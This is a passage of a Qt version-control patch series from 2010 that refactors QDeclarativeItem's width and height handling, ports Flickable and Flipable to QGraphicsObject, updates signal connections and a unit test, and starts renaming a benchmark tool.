*QDeclarativeItem::anchors() void QDeclarativeItemPrivate::data_append(QDeclarativeListProperty *prop, QObject *o) { - QDeclarativeItem *i = qobject_cast(o); - if (i) + QGraphicsObject *i = qobject_cast(o); + if (i) { i->setParentItem(static_cast(prop->object)); - else + } else { o->setParent(static_cast(prop->object)); + } } QObject *QDeclarativeItemPrivate::resources_at(QDeclarativeListProperty *prop, int index) @@ -1526,27 +1512,6 @@ int QDeclarativeItemPrivate::resources_count(QDeclarativeListProperty * return prop->object->children().count(); } -QDeclarativeItem *QDeclarativeItemPrivate::children_at(QDeclarativeListProperty *prop, int index) -{ - QList children = static_cast(prop->object)->childItems(); - - if (index < children.count()) - return qobject_cast(children.at(index)); - else - return 0; -} - -void QDeclarativeItemPrivate::children_append(QDeclarativeListProperty *prop, QDeclarativeItem *i) -{ - if (i) - i->setParentItem(static_cast(prop->object)); -} - -int QDeclarativeItemPrivate::children_count(QDeclarativeListProperty *prop) -{ - return static_cast(prop->object)->childItems().count(); -} - int QDeclarativeItemPrivate::transform_count(QDeclarativeListProperty *list) { QGraphicsObject *object = qobject_cast(list->object); @@ -1678,18 +1643,6 @@ void QDeclarativeItem::setClip(bool c) */ /*! - \property QDeclarativeItem::width - - Defines the item's width relative to its parent. - */ - -/*! - \property QDeclarativeItem::height - - Defines the item's height relative to its parent. - */ - -/*! \qmlproperty real Item::z Sets the stacking order of the item. By default the stacking order is 0. @@ -1801,11 +1754,11 @@ void QDeclarativeItem::geometryChanged(const QRectF &newGeometry, if (newGeometry.x() != oldGeometry.x()) emit xChanged(); if (newGeometry.width() != oldGeometry.width()) - emit widthChanged(newGeometry.width()); + emit widthChanged(); if (newGeometry.y() != oldGeometry.y()) emit yChanged(); if (newGeometry.height() != oldGeometry.height()) - emit heightChanged(newGeometry.height()); + emit heightChanged(); for(int ii = 0; ii < d->changeListeners.count(); ++ii) { const QDeclarativeItemPrivate::ChangeListener &change = d->changeListeners.at(ii); @@ -2281,14 +2234,6 @@ void QDeclarativeItemPrivate::focusChanged(bool flag) } /*! \internal */ -QDeclarativeListProperty QDeclarativeItem::fxChildren() -{ - return QDeclarativeListProperty(this, 0, QDeclarativeItemPrivate::children_append, - QDeclarativeItemPrivate::children_count, - QDeclarativeItemPrivate::children_at); -} - -/*! \internal */ QDeclarativeListProperty QDeclarativeItem::resources() { return QDeclarativeListProperty(this, 0, QDeclarativeItemPrivate::resources_append, @@ -2632,7 +2577,7 @@ QVariant QDeclarativeItem::itemChange(GraphicsItemChange change, QRectF QDeclarativeItem::boundingRect() const { Q_D(const QDeclarativeItem); - return QRectF(0, 0, d->width, d->height); + return QRectF(0, 0, d->mWidth, d->mHeight); } /*! @@ -2717,33 +2662,50 @@ void QDeclarativeItem::setSmooth(bool smooth) qreal QDeclarativeItem::width() const { Q_D(const QDeclarativeItem); - return d->width; + return d->width(); } void QDeclarativeItem::setWidth(qreal w) { Q_D(QDeclarativeItem); + d->setWidth(w); +} + +void QDeclarativeItem::resetWidth() +{ + Q_D(QDeclarativeItem); + d->resetWidth(); +} + +qreal QDeclarativeItemPrivate::width() const +{ + return mWidth; +} + +void QDeclarativeItemPrivate::setWidth(qreal w) +{ + Q_Q(QDeclarativeItem); if (qIsNaN(w)) return; - d->widthValid = true; - if (d->width == w) + widthValid = true; + if (mWidth == w) return; - qreal oldWidth = d->width; + qreal oldWidth = mWidth; - prepareGeometryChange(); - d->width = w; + q->prepareGeometryChange(); + mWidth = w; - geometryChanged(QRectF(x(), y(), width(), height()), - QRectF(x(), y(), oldWidth, height())); + q->geometryChanged(QRectF(q->x(), q->y(), width(), height()), + QRectF(q->x(), q->y(), oldWidth, height())); } -void QDeclarativeItem::resetWidth() +void QDeclarativeItemPrivate ::resetWidth() { - Q_D(QDeclarativeItem); - d->widthValid = false; - setImplicitWidth(implicitWidth()); + Q_Q(QDeclarativeItem); + widthValid = false; + q->setImplicitWidth(q->implicitWidth()); } /*! @@ -2763,13 +2725,13 @@ void QDeclarativeItem::setImplicitWidth(qreal w) { Q_D(QDeclarativeItem); d->implicitWidth = w; - if (d->width == w || widthValid()) + if (d->mWidth == w || widthValid()) return; - qreal oldWidth = d->width; + qreal oldWidth = d->mWidth; prepareGeometryChange(); - d->width = w; + d->mWidth = w; geometryChanged(QRectF(x(), y(), width(), height()), QRectF(x(), y(), oldWidth, height())); @@ -2787,33 +2749,50 @@ bool QDeclarativeItem::widthValid() const qreal QDeclarativeItem::height() const { Q_D(const QDeclarativeItem); - return d->height; + return d->height(); } void QDeclarativeItem::setHeight(qreal h) { Q_D(QDeclarativeItem); + d->setHeight(h); +} + +void QDeclarativeItem::resetHeight() +{ + Q_D(QDeclarativeItem); + d->resetHeight(); +} + +qreal QDeclarativeItemPrivate::height() const +{ + return mHeight; +} + +void QDeclarativeItemPrivate::setHeight(qreal h) +{ + Q_Q(QDeclarativeItem); if (qIsNaN(h)) return; - d->heightValid = true; - if (d->height == h) + heightValid = true; + if (mHeight == h) return; - qreal oldHeight = d->height; + qreal oldHeight = mHeight; - prepareGeometryChange(); - d->height = h; + q->prepareGeometryChange(); + mHeight = h; - geometryChanged(QRectF(x(), y(), width(), height()), - QRectF(x(), y(), width(), oldHeight)); + q->geometryChanged(QRectF(q->x(), q->y(), width(), height()), + QRectF(q->x(), q->y(), width(), oldHeight)); } -void QDeclarativeItem::resetHeight() +void QDeclarativeItemPrivate::resetHeight() { - Q_D(QDeclarativeItem); - d->heightValid = false; - setImplicitHeight(implicitHeight()); + Q_Q(QDeclarativeItem); + heightValid = false; + q->setImplicitHeight(q->implicitHeight()); } /*! @@ -2833,13 +2812,13 @@ void QDeclarativeItem::setImplicitHeight(qreal h) { Q_D(QDeclarativeItem); d->implicitHeight = h; - if (d->height == h || heightValid()) + if (d->mHeight == h || heightValid()) return; - qreal oldHeight = d->height; + qreal oldHeight = d->mHeight; prepareGeometryChange(); - d->height = h; + d->mHeight = h; geometryChanged(QRectF(x(), y(), width(), height()), QRectF(x(), y(), width(), oldHeight)); @@ -2861,15 +2840,15 @@ void QDeclarativeItem::setSize(const QSizeF &size) d->heightValid = true; d->widthValid = true; - if (d->height == size.height() && d->width == size.width()) + if (d->height() == size.height() && d->width() == size.width()) return; - qreal oldHeight = d->height; - qreal oldWidth = d->width; + qreal oldHeight = d->height(); + qreal oldWidth = d->width(); prepareGeometryChange(); - d->height = size.height(); - d->width = size.width(); + d->setHeight(size.height()); + d->setWidth(size.width()); geometryChanged(QRectF(x(), y(), width(), height()), QRectF(x(), y(), oldWidth, oldHeight)); diff --git a/src/declarative/graphicsitems/qdeclarativeitem.h b/src/declarative/graphicsitems/qdeclarativeitem.h index c88b1db..712e854 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.h +++ b/src/declarative/graphicsitems/qdeclarativeitem.h @@ -71,13 +71,10 @@ class Q_DECLARATIVE_EXPORT QDeclarativeItem : public QGraphicsObject, public QDe Q_PROPERTY(QDeclarativeItem * parent READ parentItem WRITE setParentItem NOTIFY parentChanged DESIGNABLE false FINAL) Q_PROPERTY(QDeclarativeListProperty data READ data DESIGNABLE false) - Q_PROPERTY(QDeclarativeListProperty children READ fxChildren DESIGNABLE false NOTIFY childrenChanged) Q_PROPERTY(QDeclarativeListProperty resources READ resources DESIGNABLE false) Q_PROPERTY(QDeclarativeListProperty states READ states DESIGNABLE false) Q_PROPERTY(QDeclarativeListProperty transitions READ transitions DESIGNABLE false) Q_PROPERTY(QString state READ state WRITE setState NOTIFY stateChanged) - Q_PROPERTY(qreal width READ width WRITE setWidth NOTIFY widthChanged RESET resetWidth FINAL) - Q_PROPERTY(qreal height READ height WRITE setHeight NOTIFY heightChanged RESET resetHeight FINAL) Q_PROPERTY(QRectF childrenRect READ childrenRect NOTIFY childrenRectChanged DESIGNABLE false FINAL) Q_PROPERTY(QDeclarativeAnchors * anchors READ anchors DESIGNABLE false CONSTANT FINAL) Q_PROPERTY(QDeclarativeAnchorLine left READ left CONSTANT FINAL) @@ -113,7 +110,6 @@ public: void setParent(QDeclarativeItem *parent) { setParentItem(parent); } QDeclarativeListProperty data(); - QDeclarativeListProperty fxChildren(); QDeclarativeListProperty resources(); QDeclarativeAnchors *anchors(); @@ -173,8 +169,6 @@ public: QDeclarativeAnchorLine baseline() const; Q_SIGNALS: - void widthChanged(qreal); - void heightChanged(qreal); void childrenChanged(); void childrenRectChanged(const QRectF &); void baselineOffsetChanged(qreal); @@ -235,9 +229,11 @@ QDebug Q_DECLARATIVE_EXPORT operator<<(QDebug debug, QDeclarativeItem *item); QT_END_NAMESPACE QML_DECLARE_TYPE(QDeclarativeItem) +QML_DECLARE_TYPE(QGraphicsObject) QML_DECLARE_TYPE(QGraphicsTransform) QML_DECLARE_TYPE(QGraphicsScale) QML_DECLARE_TYPE(QGraphicsRotation) +QML_DECLARE_TYPE(QGraphicsWidget) QML_DECLARE_TYPE(QAction) QT_END_HEADER diff --git a/src/declarative/graphicsitems/qdeclarativeitem_p.h b/src/declarative/graphicsitems/qdeclarativeitem_p.h index 55df063..56b0d77 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem_p.h +++ b/src/declarative/graphicsitems/qdeclarativeitem_p.h @@ -114,7 +114,7 @@ public: widthValid(false), heightValid(false), _componentComplete(true), _keepMouse(false), smooth(false), keyHandler(0), - width(0), height(0), implicitWidth(0), implicitHeight(0) + mWidth(0), mHeight(0), implicitWidth(0), implicitHeight(0) { QGraphicsItemPrivate::acceptedMouseButtons = 0; QGraphicsItemPrivate::flags = QGraphicsItem::GraphicsItemFlags( @@ -136,6 +136,16 @@ public: QString _id; + // Private Properties + qreal width() const; + void setWidth(qreal); + void resetWidth(); + + qreal height() const; + void setHeight(qreal); + void resetHeight(); + + // data property static void data_append(QDeclarativeListProperty *, QObject *); @@ -144,11 +154,6 @@ public: static void resources_append(QDeclarativeListProperty *, QObject *); static int resources_count(QDeclarativeListProperty *); - // children property - static QDeclarativeItem *children_at(QDeclarativeListProperty *, int); - static void children_append(QDeclarativeListProperty *, QDeclarativeItem *); - static int children_count(QDeclarativeListProperty *); - // transform property static int transform_count(QDeclarativeListProperty *list); static void transform_append(QDeclarativeListProperty *list, QGraphicsTransform *); @@ -222,8 +227,8 @@ public: QDeclarativeItemKeyFilter *keyHandler; - qreal width; - qreal height; + qreal mWidth; + qreal mHeight; qreal implicitWidth; qreal implicitHeight; @@ -232,9 +237,9 @@ public: virtual void setPosHelper(const QPointF &pos) { Q_Q(QDeclarativeItem); - QRectF oldGeometry(this->pos.x(), this->pos.y(), width, height); + QRectF oldGeometry(this->pos.x(), this->pos.y(), mWidth, mHeight); QGraphicsItemPrivate::setPosHelper(pos); - q->geometryChanged(QRectF(this->pos.x(), this->pos.y(), width, height), oldGeometry); + q->geometryChanged(QRectF(this->pos.x(), this->pos.y(), mWidth, mHeight), oldGeometry); } // Reimplemented from QGraphicsItemPrivate -- cgit v0.12 From c2df63f457229ce8d3806a30f75221796c931c86 Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 25 Mar 2010 07:05:32 +0100 Subject: Fix the build due to new properties in QGraphicsObject. Reviewed-by:Martin Jones --- .../graphicsitems/qdeclarativegraphicsobjectcontainer.cpp | 10 +++++----- .../graphicsitems/qdeclarativegraphicsobjectcontainer_p.h | 1 - 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp index eb5b6ce..ff85bbd 100644 --- a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp +++ b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer.cpp @@ -65,12 +65,12 @@ public: if (graphicsObject && graphicsObject->isWidget()) { if (!on) { graphicsObject->removeEventFilter(q); - QObject::disconnect(q, SIGNAL(widthChanged(qreal)), q, SLOT(_q_updateSize())); - QObject::disconnect(q, SIGNAL(heightChanged(qreal)), q, SLOT(_q_updateSize())); + QObject::disconnect(q, SIGNAL(widthChanged()), q, SLOT(_q_updateSize())); + QObject::disconnect(q, SIGNAL(heightChanged()), q, SLOT(_q_updateSize())); } else { graphicsObject->installEventFilter(q); - QObject::connect(q, SIGNAL(widthChanged(qreal)), q, SLOT(_q_updateSize())); - QObject::connect(q, SIGNAL(heightChanged(qreal)), q, SLOT(_q_updateSize())); + QObject::connect(q, SIGNAL(widthChanged()), q, SLOT(_q_updateSize())); + QObject::connect(q, SIGNAL(heightChanged()), q, SLOT(_q_updateSize())); } } } @@ -251,7 +251,7 @@ void QDeclarativeGraphicsObjectContainerPrivate::_q_updateSize() return; QGraphicsWidget *gw = static_cast(graphicsObject); - const QSizeF newSize(width, height); + const QSizeF newSize(width(), height()); gw->resize(newSize); //### will respecting the widgets min/max ever get us in trouble? (all other items always diff --git a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h index 95d7a4b..20c5bcf 100644 --- a/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h +++ b/src/declarative/graphicsitems/qdeclarativegraphicsobjectcontainer_p.h @@ -82,7 +82,6 @@ private: QT_END_NAMESPACE -QML_DECLARE_TYPE(QGraphicsObject) QML_DECLARE_TYPE(QDeclarativeGraphicsObjectContainer) QT_END_HEADER -- cgit v0.12 From f4c7b4f046669a4a3d6ed1e8d538e17648d27b4d Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 25 Mar 2010 07:06:38 +0100 Subject: Protect the QDeclarativeListProperty used in QGraphicsItem with ifdef Then it fixes the build Reviewed-by:TrustMe --- src/declarative/qml/qdeclarativelist.h | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/declarative/qml/qdeclarativelist.h b/src/declarative/qml/qdeclarativelist.h index ed402a8..bd87990 100644 --- a/src/declarative/qml/qdeclarativelist.h +++ b/src/declarative/qml/qdeclarativelist.h @@ -54,6 +54,9 @@ QT_MODULE(Declarative) class QObject; struct QMetaObject; + +#ifndef QDECLARATIVELISTPROPERTY +#define QDECLARATIVELISTPROPERTY template struct QDeclarativeListProperty { typedef void (*AppendFunction)(QDeclarativeListProperty *, T*); @@ -106,6 +109,7 @@ private: return ((QList *)p->data)->clear(); } }; +#endif class QDeclarativeEngine; class QDeclarativeListReferencePrivate; -- cgit v0.12 From 9ace4e68eb0636284ecf73ed82e4518bbf0208be Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 25 Mar 2010 07:08:15 +0100 Subject: Port Flickable and Flipable to support QGraphicsObject. Replacing QDeclarativeItem* members by QGraphicsObject*. Build fix too. Reviewed-by:akennedy --- .../graphicsitems/qdeclarativeflickable.cpp | 4 ++-- .../graphicsitems/qdeclarativeflickable_p.h | 4 ++-- .../graphicsitems/qdeclarativeflipable.cpp | 21 +++++++++++---------- .../graphicsitems/qdeclarativeflipable_p.h | 12 ++++++------ 4 files changed, 21 insertions(+), 20 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp index 9ccb3b6..98502fd 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp @@ -990,10 +990,10 @@ QDeclarativeListProperty QDeclarativeFlickable::flickableData() return QDeclarativeListProperty(this, (void *)d, QDeclarativeFlickablePrivate::data_append); } -QDeclarativeListProperty QDeclarativeFlickable::flickableChildren() +QDeclarativeListProperty QDeclarativeFlickable::flickableChildren() { Q_D(QDeclarativeFlickable); - return d->viewport->fxChildren(); + return QGraphicsItemPrivate::get(d->viewport)->childrenList(); } /*! diff --git a/src/declarative/graphicsitems/qdeclarativeflickable_p.h b/src/declarative/graphicsitems/qdeclarativeflickable_p.h index 7dcab98..1fa2c74 100644 --- a/src/declarative/graphicsitems/qdeclarativeflickable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflickable_p.h @@ -82,7 +82,7 @@ class Q_DECLARATIVE_EXPORT QDeclarativeFlickable : public QDeclarativeItem Q_PROPERTY(QDeclarativeFlickableVisibleArea *visibleArea READ visibleArea CONSTANT) Q_PROPERTY(QDeclarativeListProperty flickableData READ flickableData) - Q_PROPERTY(QDeclarativeListProperty flickableChildren READ flickableChildren) + Q_PROPERTY(QDeclarativeListProperty flickableChildren READ flickableChildren) Q_CLASSINFO("DefaultProperty", "flickableData") Q_ENUMS(FlickDirection) @@ -92,7 +92,7 @@ public: ~QDeclarativeFlickable(); QDeclarativeListProperty flickableData(); - QDeclarativeListProperty flickableChildren(); + QDeclarativeListProperty flickableChildren(); bool overShoot() const; void setOverShoot(bool); diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index 0e2ae63..cb4044f 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -59,8 +59,8 @@ public: void updateSceneTransformFromParent(); QDeclarativeFlipable::Side current; - QDeclarativeGuard front; - QDeclarativeGuard back; + QDeclarativeGuard front; + QDeclarativeGuard back; }; /*! @@ -112,13 +112,13 @@ QDeclarativeFlipable::~QDeclarativeFlipable() The front and back sides of the flipable. */ -QDeclarativeItem *QDeclarativeFlipable::front() +QGraphicsObject *QDeclarativeFlipable::front() { Q_D(const QDeclarativeFlipable); return d->front; } -void QDeclarativeFlipable::setFront(QDeclarativeItem *front) +void QDeclarativeFlipable::setFront(QGraphicsObject *front) { Q_D(QDeclarativeFlipable); if (d->front) { @@ -131,13 +131,13 @@ void QDeclarativeFlipable::setFront(QDeclarativeItem *front) d->front->setOpacity(0.); } -QDeclarativeItem *QDeclarativeFlipable::back() +QGraphicsObject *QDeclarativeFlipable::back() { Q_D(const QDeclarativeFlipable); return d->back; } -void QDeclarativeFlipable::setBack(QDeclarativeItem *back) +void QDeclarativeFlipable::setBack(QGraphicsObject *back) { Q_D(QDeclarativeFlipable); if (d->back) { @@ -195,12 +195,13 @@ void QDeclarativeFlipablePrivate::updateSceneTransformFromParent() current = newSide; if (current == QDeclarativeFlipable::Back && back) { QTransform mat; - mat.translate(back->width()/2,back->height()/2); - if (back->width() && p1.x() >= p2.x()) + QGraphicsItemPrivate *dBack = QGraphicsItemPrivate::get(back); + mat.translate(dBack->width()/2,dBack->height()/2); + if (dBack->width() && p1.x() >= p2.x()) mat.rotate(180, Qt::YAxis); - if (back->height() && p2.y() >= p3.y()) + if (dBack->height() && p2.y() >= p3.y()) mat.rotate(180, Qt::XAxis); - mat.translate(-back->width()/2,-back->height()/2); + mat.translate(-dBack->width()/2,-dBack->height()/2); back->setTransform(mat); } if (front) diff --git a/src/declarative/graphicsitems/qdeclarativeflipable_p.h b/src/declarative/graphicsitems/qdeclarativeflipable_p.h index 8b9c24c..302f083 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflipable_p.h @@ -60,8 +60,8 @@ class Q_DECLARATIVE_EXPORT QDeclarativeFlipable : public QDeclarativeItem Q_OBJECT Q_ENUMS(Side) - Q_PROPERTY(QDeclarativeItem *front READ front WRITE setFront) - Q_PROPERTY(QDeclarativeItem *back READ back WRITE setBack) + Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront) + Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack) Q_PROPERTY(Side side READ side NOTIFY sideChanged) //### flipAxis //### flipRotation @@ -69,11 +69,11 @@ public: QDeclarativeFlipable(QDeclarativeItem *parent=0); ~QDeclarativeFlipable(); - QDeclarativeItem *front(); - void setFront(QDeclarativeItem *); + QGraphicsObject *front(); + void setFront(QGraphicsObject *); - QDeclarativeItem *back(); - void setBack(QDeclarativeItem *); + QGraphicsObject *back(); + void setBack(QGraphicsObject *); enum Side { Front, Back }; Side side() const; -- cgit v0.12 From 4ad6036f30db22562df4478babdc61820d94f774 Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 25 Mar 2010 07:16:42 +0100 Subject: Build Fix and port to new width and height properties Reviewed-by:Martin Jones --- src/declarative/graphicsitems/qdeclarativeborderimage.cpp | 2 +- src/declarative/graphicsitems/qdeclarativelistview.cpp | 4 ++-- src/declarative/graphicsitems/qdeclarativepainteditem.cpp | 4 ++-- src/declarative/graphicsitems/qdeclarativerectangle.cpp | 2 +- src/declarative/util/qdeclarativeview.cpp | 4 ++-- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index a7534b8..f92c207 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -444,7 +444,7 @@ void QDeclarativeBorderImage::paint(QPainter *p, const QStyleOptionGraphicsItem const QDeclarativeScaleGrid *border = d->getScaleGrid(); QMargins margins(border->left(), border->top(), border->right(), border->bottom()); QTileRules rules((Qt::TileRule)d->horizontalTileMode, (Qt::TileRule)d->verticalTileMode); - qDrawBorderPixmap(p, QRect(0, 0, (int)d->width, (int)d->height), margins, d->pix, d->pix.rect(), margins, rules); + qDrawBorderPixmap(p, QRect(0, 0, (int)d->width(), (int)d->height()), margins, d->pix, d->pix.rect(), margins, rules); if (d->smooth) { p->setRenderHint(QPainter::Antialiasing, oldAA); p->setRenderHint(QPainter::SmoothPixmapTransform, oldSmooth); diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 320a2f0..8a70c07 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -562,7 +562,7 @@ void QDeclarativeListViewPrivate::releaseItem(FxListItem *item) return; if (trackedItem == item) { const char *notifier1 = orient == QDeclarativeListView::Vertical ? SIGNAL(yChanged()) : SIGNAL(xChanged()); - const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged(qreal)) : SIGNAL(widthChanged(qreal)); + const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged()) : SIGNAL(widthChanged()); QObject::disconnect(trackedItem->item, notifier1, q, SLOT(trackedPositionChanged())); QObject::disconnect(trackedItem->item, notifier2, q, SLOT(trackedPositionChanged())); trackedItem = 0; @@ -763,7 +763,7 @@ void QDeclarativeListViewPrivate::updateTrackedItem() FxListItem *oldTracked = trackedItem; const char *notifier1 = orient == QDeclarativeListView::Vertical ? SIGNAL(yChanged()) : SIGNAL(xChanged()); - const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged(qreal)) : SIGNAL(widthChanged(qreal)); + const char *notifier2 = orient == QDeclarativeListView::Vertical ? SIGNAL(heightChanged()) : SIGNAL(widthChanged()); if (trackedItem && item != trackedItem) { QObject::disconnect(trackedItem->item, notifier1, q, SLOT(trackedPositionChanged())); diff --git a/src/declarative/graphicsitems/qdeclarativepainteditem.cpp b/src/declarative/graphicsitems/qdeclarativepainteditem.cpp index 28a93d2..ab6007a 100644 --- a/src/declarative/graphicsitems/qdeclarativepainteditem.cpp +++ b/src/declarative/graphicsitems/qdeclarativepainteditem.cpp @@ -211,8 +211,8 @@ QDeclarativePaintedItem::~QDeclarativePaintedItem() */ void QDeclarativePaintedItem::init() { - connect(this,SIGNAL(widthChanged(qreal)),this,SLOT(clearCache())); - connect(this,SIGNAL(heightChanged(qreal)),this,SLOT(clearCache())); + connect(this,SIGNAL(widthChanged()),this,SLOT(clearCache())); + connect(this,SIGNAL(heightChanged()),this,SLOT(clearCache())); connect(this,SIGNAL(visibleChanged()),this,SLOT(clearCache())); } diff --git a/src/declarative/graphicsitems/qdeclarativerectangle.cpp b/src/declarative/graphicsitems/qdeclarativerectangle.cpp index 207d05e..b82fb53 100644 --- a/src/declarative/graphicsitems/qdeclarativerectangle.cpp +++ b/src/declarative/graphicsitems/qdeclarativerectangle.cpp @@ -470,7 +470,7 @@ void QDeclarativeRectangle::drawRect(QPainter &p) QRectF QDeclarativeRectangle::boundingRect() const { Q_D(const QDeclarativeRectangle); - return QRectF(-d->paintmargin, -d->paintmargin, d->width+d->paintmargin*2, d->height+d->paintmargin*2); + return QRectF(-d->paintmargin, -d->paintmargin, d->width()+d->paintmargin*2, d->height()+d->paintmargin*2); } QT_END_NAMESPACE diff --git a/src/declarative/util/qdeclarativeview.cpp b/src/declarative/util/qdeclarativeview.cpp index d97fb5f..8e65151 100644 --- a/src/declarative/util/qdeclarativeview.cpp +++ b/src/declarative/util/qdeclarativeview.cpp @@ -448,8 +448,8 @@ void QDeclarativeView::setRootObject(QObject *obj) d->root = item; d->qmlRoot = item; - connect(item, SIGNAL(widthChanged(qreal)), this, SLOT(sizeChanged())); - connect(item, SIGNAL(heightChanged(qreal)), this, SLOT(sizeChanged())); + connect(item, SIGNAL(widthChanged()), this, SLOT(sizeChanged())); + connect(item, SIGNAL(heightChanged()), this, SLOT(sizeChanged())); if (d->initialSize.height() <= 0 && d->qmlRoot->width() > 0) d->initialSize.setWidth(d->qmlRoot->width()); if (d->initialSize.height() <= 0 && d->qmlRoot->height() > 0) -- cgit v0.12 From 18137c664abd3bb3825ec44864a938d1acaf7b79 Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 25 Mar 2010 07:38:55 +0100 Subject: Auto-test fix. Also fix a connect in QDeclarativeItem. Reviewed-by:TrustMe --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 4 ++-- .../auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp | 10 ++-------- 2 files changed, 4 insertions(+), 10 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index f61ad8e..e6ade00 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -312,9 +312,9 @@ void QDeclarativeContents::setItem(QDeclarativeItem *item) QDeclarativeItem *child = qobject_cast(children.at(i)); if(!child)//### Should this be ignoring non-QDeclarativeItem graphicsobjects? continue; - connect(child, SIGNAL(heightChanged(qreal)), this, SLOT(calcHeight())); + connect(child, SIGNAL(heightChanged()), this, SLOT(calcHeight())); connect(child, SIGNAL(yChanged()), this, SLOT(calcHeight())); - connect(child, SIGNAL(widthChanged(qreal)), this, SLOT(calcWidth())); + connect(child, SIGNAL(widthChanged()), this, SLOT(calcWidth())); connect(child, SIGNAL(xChanged()), this, SLOT(calcWidth())); connect(this, SIGNAL(rectChanged(QRectF)), m_item, SIGNAL(childrenRectChanged(QRectF))); } diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp index ba69cd8..7665e18 100644 --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp @@ -421,8 +421,8 @@ void tst_QDeclarativeItem::propertyChanges() QVERIFY(parentItem); QSignalSpy parentSpy(item, SIGNAL(parentChanged(QDeclarativeItem *))); - QSignalSpy widthSpy(item, SIGNAL(widthChanged(qreal))); - QSignalSpy heightSpy(item, SIGNAL(heightChanged(qreal))); + QSignalSpy widthSpy(item, SIGNAL(widthChanged())); + QSignalSpy heightSpy(item, SIGNAL(heightChanged())); QSignalSpy baselineOffsetSpy(item, SIGNAL(baselineOffsetChanged(qreal))); QSignalSpy childrenRectSpy(parentItem, SIGNAL(childrenRectChanged(QRectF))); QSignalSpy focusSpy(item, SIGNAL(focusChanged(bool))); @@ -442,15 +442,9 @@ void tst_QDeclarativeItem::propertyChanges() QCOMPARE(item->width(), 100.0); QCOMPARE(widthSpy.count(),1); - QList widthArguments = widthSpy.first(); - QVERIFY(widthArguments.count() == 1); - QCOMPARE(item->width(), widthArguments.at(0).toReal()); QCOMPARE(item->height(), 200.0); QCOMPARE(heightSpy.count(),1); - QList heightArguments = heightSpy.first(); - QVERIFY(heightArguments.count() == 1); - QCOMPARE(item->height(), heightArguments.at(0).toReal()); QCOMPARE(item->baselineOffset(), 10.0); QCOMPARE(baselineOffsetSpy.count(),1); -- cgit v0.12 From 0ae469c1bbe2f5fa033b88116546b293a8bdf565 Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 25 Mar 2010 15:24:52 +1000 Subject: Rename qdeclarativetime -> qmltime Consistent with "qml" runtime binary --- tests/benchmarks/declarative/declarative.pro | 2 +- .../declarative/qdeclarativetime/example.qml | 14 -- .../qdeclarativetime/qdeclarativetime.cpp | 231 --------------------- .../qdeclarativetime/qdeclarativetime.pro | 23 -- .../qdeclarativetime/tests/anchors/empty.qml | 34 --- .../qdeclarativetime/tests/anchors/fill.qml | 41 ---- .../qdeclarativetime/tests/anchors/null.qml | 27 --- .../qdeclarativetime/tests/animation/large.qml | 41 ---- .../tests/animation/largeNoProps.qml | 41 ---- .../tests/item_creation/children.qml | 34 --- .../qdeclarativetime/tests/item_creation/data.qml | 34 --- .../tests/item_creation/no_creation.qml | 12 -- .../tests/item_creation/resources.qml | 34 --- .../qdeclarativetime/tests/loader/Loaded.qml | 7 - .../tests/loader/component_loader.qml | 16 -- .../qdeclarativetime/tests/loader/empty_loader.qml | 15 -- .../qdeclarativetime/tests/loader/no_loader.qml | 14 -- .../tests/loader/source_loader.qml | 16 -- .../tests/positioner_creation/no_positioner.qml | 37 ---- .../tests/positioner_creation/null_positioner.qml | 34 --- .../tests/positioner_creation/positioner.qml | 37 ---- tests/benchmarks/declarative/qmltime/example.qml | 14 